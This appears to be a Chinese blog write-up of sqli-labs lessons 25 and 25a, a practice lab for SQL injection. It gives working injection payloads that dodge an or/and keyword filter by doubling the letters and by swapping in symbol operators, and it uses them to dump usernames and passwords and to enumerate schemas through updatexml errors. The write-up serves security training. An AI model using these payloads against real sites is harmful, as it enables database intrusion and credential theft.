• sql-lib闯关之lesson25-25a


    LESS25
    知识铺垫
    WAF绕过
    1.白盒绕过
     通过源代码分析,来进行绕过。
    2.黑盒绕过
    ①架构层面绕过waf
    ②资源限制角度绕过waf
    ③协议层面绕过waf
    ④规则层面绕过waf
    3.fuzz测试
    具体可以自行百度了解。

    1.观察源码以及关卡显示,我们发现将 or and(不区分大小写) 转义变成了空格。

     

     2.方法一:利用双写

    输入:?id=-1' union select 1,2,group_concat(concat_ws('-',username,passwoorrd)) from security.users --+
    因为password中也有or所以双写

     3.方法二:关键字替换  
    and 等价于&&
    or等价于 ||
    like 等价于=
    <> 等价于!=

    输入:?id=0' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+
    这里之所以不使用 group_concat 是因为数据会显示不完整 所以用 limit 逐次显示。
    LESS25a
    这一关与上关的区别在于 这关 并没有包裹  上关是有单引号包裹 即 ‘’
    所以输入:?id=-1 union select 1,2,group_concat(concat_ws('-',username,passwoorrd)) from security.users --+

     

  • 相关阅读:
    新公司面试记
    棋手与棋子
    有线通or ADSL?
    好久没去上海动物园了
    15=60
    技术和销售
    安能辨龟是雄雌巴西龟的雌雄辨别方法
    推荐两首好歌
    母亲节祝福天下所有的母亲
    农夫山泉的源头千岛湖游记
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12411791.html
Copyright © 2020-2023  润新知